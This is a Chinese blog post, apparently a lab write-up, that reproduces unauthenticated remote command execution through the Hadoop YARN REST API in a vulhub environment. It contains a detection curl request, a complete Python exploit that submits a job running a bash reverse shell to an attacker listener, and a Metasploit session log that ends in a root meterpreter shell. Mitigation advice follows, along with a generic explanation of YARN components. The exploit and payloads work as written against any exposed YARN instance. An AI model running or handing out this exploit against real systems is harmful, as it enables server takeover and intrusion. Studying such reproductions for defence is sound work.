【漏洞复现】Hadoop YARN 资源管理系统 REST API未授权访问

0x01 概述

Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的 MapReduce 算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当可导致未授权访问的问题,攻击者无需认证即可通过REST API部署任务来执行任意指令,最终完全控制服务器。

0x02 影响范围

(1)Apache Hadoop YARN资源管理系统
(2)对外开启以下作用的端口:

yarn.resourcemanager.webapp.address,默认端口8088
yarn.resourcemanager.webapp.https.address,默认端口8090

0x03 简单检测

(1)环境:vulhub
(2)访问http://192.168.178.128:8008出现hadoop未授权访问页面。
在这里插入图片描述(3)构造POST请求,返回如下信息证明存在
curl -X POST 192.168.178.128:8088/ws/v1/cluster/apps/new-application
在这里插入图片描述

0x04 漏洞复现

修改exp脚本目标url、本地IP、监听端口,然后开启本地监听9999端口(与脚本一致即可)准备反弹shell,执行exp脚本文件python3 hadooprce.py,即可获取shell
hadooprce.py文件内容:

import requests

#python3 
target = 'http://192.168.178.128:8088/'  # put your remote host IP here
lhost = '192.168.178.129'  # put your local host IP here
 
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
print (data)
requests.post(url, json=data)

在这里插入图片描述
也可以利用msf的模块:

msf5 > use exploit/linux/http/hadoop_unauth_exec
msf5 exploit(linux/http/hadoop_unauth_exec) > set rhosts 192.168.178.128
rhosts => 192.168.178.128
msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.178.129
lhost => 192.168.178.129
msf5 exploit(linux/http/hadoop_unauth_exec) > set lport 4444
lport => 4444
msf5 exploit(linux/http/hadoop_unauth_exec) > exploit 

[*] Started reverse TCP handler on 192.168.178.129:4444 
[*] Sending Command
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Sending stage (980808 bytes) to 192.168.178.128
[*] Meterpreter session 1 opened (192.168.178.129:4444 -> 192.168.178.128:36834) at 2020-12-17 17:42:02 +0800

meterpreter > getuid
Server username: no-user @ 1ab507230acc (uid=0, gid=0, euid=0, egid=0)
meterpreter > 

0x05 修复建议

1.通过iptables或者安全组配置访问策略,限制对8088等端口的访问,不要将接口开放在公网,改为本地或者内网调用;
2.Hadoop在2.X以上版本提供了安全认证功能,加入了 认证机制,建议启用Kerberos认证功能。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
Hadoop YARN(Yet Another Resource Negotiator)是Hadoop的一个资源管理和作业调度的框架,它是Hadoop 2.x版本中引入的重要组件。YARN的设计目的是解决早期版本Hadoop MapReduce框架中的一些问题。 YARN的主要组件包括ResourceManager(资源管理器)、NodeManager(节点管理器)、ApplicationMaster(应用程序管理器)和Container(容器)。 ResourceManager是整个集群的资源管理节点,它负责管理和分配集群中的资源。ResourceManager在启动时向集群中的各个NodeManager发送心跳信息,以获取每个节点上的可用资源信息。当有任务提交到集群时,ResourceManager负责为任务分配资源,并监控任务的运行状态。 NodeManager是每个节点上的资源管理组件,它负责管理单个节点上的资源。NodeManager会向ResourceManager发送心跳信息,以汇报节点上的可用资源和任务运行状态。当ResourceManager给节点分配任务时,NodeManager会启动对应的容器来运行任务。 ApplicationMaster是运行在集群中的每个应用程序的主要管理组件。它负责申请资源、监控任务的运行状态、处理任务的失败和重新调度、与ResourceManager和NodeManager交互等。每个应用程序都有一个独立的ApplicationMaster。 Container是YARN中的资源抽象单位,它封装了一个或多个物理资源(如CPU、内存、磁盘等)。Container是ResourceManager向NodeManager分配任务所使用的资源单位。每个任务都在一个独立的容器内进行,容器提供了隔离和资源控制的功能。 通过使用YARN这个资源管理组件,Hadoop可以更好地管理集群中的资源,实现任务的有效调度与执行。YARN的引入使得Hadoop不仅仅局限于MapReduce,还可以支持其他计算框架,如Spark、Storm等,为大数据处理提供了更多的可能性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值